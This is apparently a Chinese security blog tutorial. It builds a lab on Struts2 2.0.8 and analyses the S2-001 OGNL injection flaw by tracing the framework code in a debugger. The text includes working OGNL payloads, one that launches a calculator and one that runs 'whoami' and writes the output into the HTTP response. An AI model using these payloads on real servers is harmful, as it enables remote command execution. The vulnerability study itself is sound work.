0x01 Struts2简介

Struts 2 是一个开源的 Java Web 应用程序开发框架,遵循MVC架构模式,用于构建基于 Java 技术的 Web 应用程序。它是 Apache Struts 框架的后续版本,旨在提供更现代、灵活和可扩展的方式来开发 Web 应用。Struts迭代至今已经出现很多版本,在这些版本中也存在许多RCE的漏洞。Struts 2也面临一个即将淘汰的局面。

0x02 Struts2环境搭建

创建Maven项目,选择webapp

在pom.xml里导入 Struts2 的核心依赖

<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>

然后修改web.xml,这里配置Struts2的过滤器

<web-app>
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

创建java类

package com.test.s2001.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport{
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

在 Struts 2 框架中,execute() 是一个在 Action 类中的一个特定方法,用于处理请求。每当一个请求被发送到 Struts 2 应用程序,并且匹配了某个 Action 的映射时,execute() 方法会被调用来处理该请求。总之,execute() 方法在 Struts 2 中代表了一个 Action 类的入口点,用于处理请求和业务逻辑,并返回结果字符串来指导框架执行后续的页面导航或响应生成。

然后编写两个JSP页面

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

然后在 main 文件夹下创建一个 resources 文件夹,内部添加一个 struts.xml,内容为

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.test.s2001.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

至此struts2环境搭建完成

struts2环境的目录结构

struts2的执行流程:

简单说一下struts2接收数据后的后端处理流程,当用户在前端输入数据请求特定的URL后(例如http://example.com/myapp/myaction.action)请求发送到服务器,进入到Struts 2的过滤器,也就是上面在web.xml中配置的过滤器,它接收到所有请求,并作为入口点开始 Struts 2 的执行流程。该过滤器分析请求的 URL,并根据配置文件中的映射规则找到相应的 Action 类,然后调用该 Action 类的 execute() 方法。(在这里也就是LoginAction类的execute方法)进行业务数据处理,execute() 方法返回一个结果字符串,表示请求的处理结果。这个结果字符串与配置文件中的结果映射相匹配,决定如何处理请求的后续步骤。(也就是struts.xml编写的内容)根据结果字符串的映射,Struts 2 将找到相应的结果视图,然后呈现给用户。

环境搭建成功

0x03 OGNL表达式

官方解释:OGNL(Object-Graph Navigation Language)是一种用于访问和操作对象图结构的表达式语言。它主要用于在 Java 程序中对对象图进行导航、访问属性和调用方法等操作,使得开发人员能够更轻松地处理复杂的对象结构。

OGNL 表达式在诸如 Struts 2、Spring 等框架中广泛使用,它可以调用方法,那么就有可能会执行恶意命令。

OGNL表达式具体原理细节不再叙述,网上文章很多,Struts 2框架能够RCE,主要就是OGNL表达式注入。在 OGNL表达式中,%{} 是用于执行内联的动态操作的语法。这个语法允许你在表达式中执行一些特定的操作,比如调用方法、执行代码块等。

在 Struts 2 框架中,%{} 是一种用于包装动态内容的语法,用于在视图中嵌入动态的数据或操作。具体用法可以包括从值栈中获取属性值、调用方法、执行代码块等。

例如表单输入%{1+1}就会返回2,1+1表达式被执行了。

ognl表达式注入相关文章:

https://xz.aliyun.com/t/10482

0x04 S2-001漏洞利用与分析

漏洞利用

影响范围:Struts2 版本 2.0.0 到 2.0.8.1

弹计算器的payload

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()}

成功弹出计算器

存在RCE漏洞,还有将页面回显到前端的payload

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

通过数据流将执行结果返回给用户

能够RCE的根本原因就是Struts 2 框架对用户的输入用ognl表达式来解析。

漏洞流程分析

首先搞清楚断点应该下在哪,前面分析Struts 2 框架框架流程那一块说过,过滤器接收数据是业务流程的入口,所以我们锁定FilterDispatcher类,断点下在doFilter方法上,doFilter方法做了以下业务

设置编码和本地化信息
创建 ActionContext 对象
分配当前线程的分发器
将request对象进行封装
获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
执行 Action 请求, 也就是第 172 行的 serviceAction() 方法

前端表单用户名密码都输入%{1+1} 开始调试

前面都是一些基础的赋值与判断,重点在serviceAction方法里,跟进

首先判断有没有ValueStack对象,如果没有的话,获取当前线程的ActionContext对象,通过 ActionProxyFactory 的 createActionProxy() 类创建一个Action代理,然后调用execute()方法,

这里跟进invoke方法

在这个方法里面,它会顺序的递归执行当前 Action 中所配置的所有的拦截器,在struts2 包内的 struts-default.xml 里面也可以看到有众多迭代器

而ParametersInterceptor这个迭代器是真正处理我们用户输入的数据的,可能在这个迭代器中就会存在ognl表达式的处理,迭代的地方就不调了,遍历到ParametersInterceptor迭代器的时候,会跟进到它的doIntercept方法,将断点打在这个方法里。

首先获取当前正在执行的 Action 实例,然后检查该 Action 是否需要处理参数。如果需要,它从 Action 上下文中获取请求的参数,并在调试日志中记录参数信息,然后设置一些OGNL 上下文的相关配置,我们跟进到setParameters方法里面,

然后跟进到setValue方法,直到进入到SimpleNode类的setValue方法。当迭代器处理数据完成后,跟进这个方法

通过反射调用action类的execute方法处理业务请求,继续往下走,跟进到 executeResult() 方法里,再跟进 execute 然后继续跟进 doExecute

这个方法里准备基础的页面配置,可以看到返回的页面是jsp。发送真正的响应信息,之后调用JspServlet来处理请求,在解析标签的时候,解析标签的结束符会调用 ComponentTagSupport 类的 doEndTag() 方法,我们跟进到这个方法

继续跟进end方法,跟进evaluateParams方法

由于 altSyntax 默认开启了,通过findValue方法寻找参数值,然后跟进到最终的漏洞触发点 translateVariables 方法

首先把username的值取出来,然后再一次循环把它赋值给expression,

通过这个findValue方法,将1+1解析为2,然后又将2赋值给expression,最后发现不是ognl表达式就会return返回。到此流程结束。

0x05 漏洞分析总结

实际上,S2-001漏洞在解析jsp文件的数据标签的时候,如果开启了 altSyntax (而且它是默认开启)且为字符串类型, struts2 会对标签在值栈中自栈顶向栈底找与表单 name 名同名的属性值进行 ognl 表达式解析并显示,所以在表单输入%{}格式的ognl表达式的时候,它会截取%{}里面的表达式并且解析执行,用户不信任的输入,造成命令执行。

参考文章:

https://drun1baby.top/2022/10/27/Java-Struts2-%E7%B3%BB%E5%88%97-S2-001/#0x04-%E6%80%BB%E7%BB%93

https://zhuanlan.zhihu.com/p/615500587